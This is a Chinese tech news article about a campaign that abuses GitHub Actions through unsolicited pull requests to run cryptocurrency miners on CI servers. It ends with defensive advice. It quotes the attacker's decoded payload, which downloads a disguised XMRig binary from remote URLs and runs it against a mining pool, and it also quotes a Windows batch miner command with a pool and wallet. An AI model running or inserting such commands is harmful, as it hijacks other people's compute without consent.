黑客用GitHub服務(wù)器挖礦,三天跑了3萬個任務(wù),代碼驚現(xiàn)中文
夢晨 曉查 發(fā)自 凹非寺
量子位 報道 | 公眾號 QbitAI
加密貨幣價格一路高漲,顯卡又買不起,怎么才能“廉價”挖礦?
黑客們動起了歪心思——“白嫖”服務(wù)器。
給PC植入挖礦木馬,已經(jīng)無法滿足黑客日益增長的算力需求,如果能用上GitHub的服務(wù)器,還不花錢,那當(dāng)然是極好的。

而且整個過程可能比侵入PC還容易,甚至都不需要程序員上當(dāng)受騙。只需提交Pull Request(PR),即使項目管理者沒有批準(zhǔn),惡意挖礦代碼依然能夠執(zhí)行。
原理也很簡單,利用GitHub Action的自動執(zhí)行工作流功能,輕松將挖礦程序運行在GitHub的服務(wù)器上。
早在去年11月,就已經(jīng)有人發(fā)現(xiàn)黑客這種行為。更可怕的是,半年過去了,這種現(xiàn)象依然沒得到有效制止。
GitHub心里苦啊,雖然可以封禁違規(guī)賬號,但黑客們玩起了“游擊戰(zhàn)術(shù)”,不斷更換馬甲號逃避“追捕”,讓官方疲于奔命。
就在幾天前,一位荷蘭的程序員還發(fā)現(xiàn),這種攻擊方式依然存在,甚至代碼里還出現(xiàn)了中文。

那么,這些黑客是如何植入挖礦程序的呢?一切要從發(fā)現(xiàn)異常的法國程序員Tib說起。
PR異常讓程序員起疑心
去年11月,Tib發(fā)現(xiàn),自己在一個沒有參加的repo上收到了PR請求。而且在14個小時內(nèi)就收到了7個,全是來自一個“y4ndexhater1”的用戶,沒有任何描述內(nèi)容。

令人感到奇怪的是,這并不是一個熱門項目,Star數(shù)量為0。

打開項目主頁發(fā)現(xiàn),內(nèi)容是Perl項目的github action、circle ci、travis-ci示例代碼集合,整個README文檔一團糟,根本不像一個正經(jīng)的開源項目。

然而就是這個混亂又冷門的repo,居然在3天里被fork了2次。
一切都太不正常了,讓人嗅到了一絲不安的氣息。
嘗試“作死”運行
本著“作死”的精神,Tib決定一探究竟。
經(jīng)過那位可疑用戶的操作,Tib所有的action都被刪除,在工作流里被加入了一個ci.yml文件,內(nèi)容如下:

當(dāng)Tib看到eval “$(echo “YXB0IHVwZGF0ZSAt這一行內(nèi)容后,立刻從沙發(fā)上跳了起來,他意識到事情的嚴(yán)重性:有人在入侵他的GitHub個人資料!
這串看似神秘的字符,其實是base64編碼,經(jīng)過翻譯后,得到了另一段代碼:
apt update -qq
apt install -y curl git jq
curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')
chmod u+x prog
timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null
前面兩行不必解釋,有意思的地方從第三行開始,它會下載一個prog二進制文件。
為了安全起見,Tib先嘗試獲取信息而不是執(zhí)行,得到了它的十六進制代碼。
$ objdump -s --section .comment prog
prog: file format elf64-x86-64
Contents of section .comment:
0000 4743433a 2028416c 70696e65 2031302e GCC: (Alpine 10.
0010 322e315f 70726531 29203130 2e322e31 2.1_pre1) 10.2.1
0020 20323032 30313230 3300 20201203.
Tib也考慮過反編譯,但是沒有成功。
不入虎穴,焉得虎子,Tib決定嘗試運行一下。
要執(zhí)行這一大膽而又作死的任務(wù),防止“試試就逝世”,Tib首先斷開了電腦的網(wǎng)絡(luò)鏈接,并選擇在Docker容器中運行。
答案終于揭曉,原來這個prog是一個名為XMRig的挖礦程序。
$ ./prog --version
XMRig 6.8.1
built on Feb 3 2021 with GCC 10.2.1
features: 64-bit AES
libuv/1.40.0
OpenSSL/1.1.1i
hwloc/2.4.0
當(dāng)時XMRig的最新版恰好是6.8.1,和上面的版本參數(shù)符合。不過用SHA256檢測后發(fā)現(xiàn),這個prog并不完全是XMRig,Tib預(yù)測它可能是一個修改版。
實際上,可能被攻擊的不止GitHub,安全公司Aqua推測,像Docker Hub、Travis CI、Circle CI這些SaaS軟件開發(fā)環(huán)境,都可能遭受這類攻擊。
在這個攻擊過程中,會派生一個合法的repo,負責(zé)將惡意的GitHub Action添加到原始代碼。然后,黑客再向原始repo提交一個PR,將代碼合并回原始repo。
下載的挖礦程序會偽裝成prog或者gcc編譯器,通過提交PR在項目執(zhí)行自動化工作流。此時服務(wù)器將運行偽裝后的挖礦程序。

這些攻擊者僅一次攻擊就可以運行多達100個挖礦程序,從而給GitHub的服務(wù)器帶來了巨大的計算量。
據(jù)Aqua估計,僅在三天的時間里,挖礦黑客就在GitHub上有超過2.33萬次commit、在Docker Hub上5.8萬次build,轉(zhuǎn)化了大約3萬個挖礦任務(wù)。
可以防范但很難根除
這種攻擊甚至不需要被攻擊的倉庫管理者接受惡意Pull Request。
只要在.github/workflows目錄里面的任意.yml文件中配置了在收到Pull Request時執(zhí)行,來自黑客的Action就會自動被執(zhí)行。
如果你沒有使用這個功能,那就不用擔(dān)心啦,黑客大概也不會找上你。
需要用到這個功能的話,可以設(shè)置成只允許本地Action或只允許Github官方及特定作者創(chuàng)建的Action。

將情況反饋給客服后,GitHub會對惡意賬號進行封號和關(guān)閉相關(guān)Pull Request的操作。
但惡意攻擊很難被根除,黑客只需要注冊新的賬號就可以繼續(xù)白嫖服務(wù)器資源。
攻擊還在繼續(xù)
我們從最近一次攻擊中發(fā)現(xiàn),黑客將挖礦程序上傳到GitLab并偽裝成包管理工具npm。

打開這個可疑的nani.bat,可以看到:
npm.exe --algorithm argon2id_chukwa2
--pool turtlecoin.herominers.com:10380
--wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP
--password xo
這一次黑客挖的是烏龜幣*(TurtleCoin)*,可使用CPU計算。按當(dāng)前價格挖出四千多個幣才值1美元。

Github Actions的免費服務(wù)器可以提供英特爾E5 2673v4的兩個核心,7GB內(nèi)存。
大致估算單臺運行一天只能獲利幾美分,而且黑客的挖礦程序通常只能在被發(fā)現(xiàn)之前運行幾個小時。比如Docker Hub就把自動build的運行時間限制在2個小時。
不過蚊子再小也是肉,黑客通過尋找更多接受公開Action的倉庫以及反復(fù)打開關(guān)閉Pull Request就能執(zhí)行更多的挖礦程序。

△同一黑客賬號至少攻擊了95個GitHub倉庫
正如Twitter用戶Dave Walker所說的,如果你提供免費的計算資源,就要做好會被攻擊和濫用的覺悟。挖礦有利可圖的情況下這是不可避免的。

據(jù)報道,受害的不止GitHub,還有Docker Hub、Travis CI以及Circle CI等提供類似服務(wù)的持續(xù)集成平臺。
這一亂象不知何時才能結(jié)束,唯一的好消息可能就是,挖礦的黑客似乎只是針對GitHub提供的服務(wù)器資源,而不會破壞你的代碼。
但是GitHub Action的漏洞不止這一個。還有方法能使黑客讀寫開發(fā)者的倉庫,甚至可以讀取加密的機密文件。

去年7月,Google Project Zero團隊就已向GitHub通報漏洞。但在給出的90天修復(fù)期限+延長14天后,GitHub仍未能有效解決。
對此,我們的建議是,不要輕易相信GitHub市場里的Action作者,不要交出你的密匙。
參考鏈接:
[1]https://therecord.media/github-investigating-crypto-mining-campaign-abusing-its-server-infrastructure/
[2]https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc
[3]https://blog.aquasec.com/container-security-alert-campaign-abusing-github-dockerhub-travis-ci-circle-ci
[4]https://twitter.com/JustinPerdok
[5]https://bugs.chromium.org/p/project-zero/issues/detail?id=2070
— 完 —
本文系網(wǎng)易新聞?網(wǎng)易號特色內(nèi)容激勵計劃簽約賬號【量子位】原創(chuàng)內(nèi)容,未經(jīng)賬號授權(quán),禁止隨意轉(zhuǎn)載。
推薦閱讀:
入門: 最全的零基礎(chǔ)學(xué)Python的問題 | 零基礎(chǔ)學(xué)了8個月的Python | 實戰(zhàn)項目 |學(xué)Python就是這條捷徑
干貨:爬取豆瓣短評,電影《后來的我們》 | 38年NBA最佳球員分析 | 從萬眾期待到口碑撲街!唐探3令人失望 | 笑看新倚天屠龍記 | 燈謎答題王 |用Python做個海量小姐姐素描圖 |
趣味:彈球游戲 | 九宮格 | 漂亮的花 | 兩百行Python《天天酷跑》游戲!
AI: 會做詩的機器人 | 給圖片上色 | 預(yù)測收入 | 碟中諜這么火,我用機器學(xué)習(xí)做個迷你推薦系統(tǒng)電影
年度爆款文案
點閱讀原文,領(lǐng)AI全套資料包!


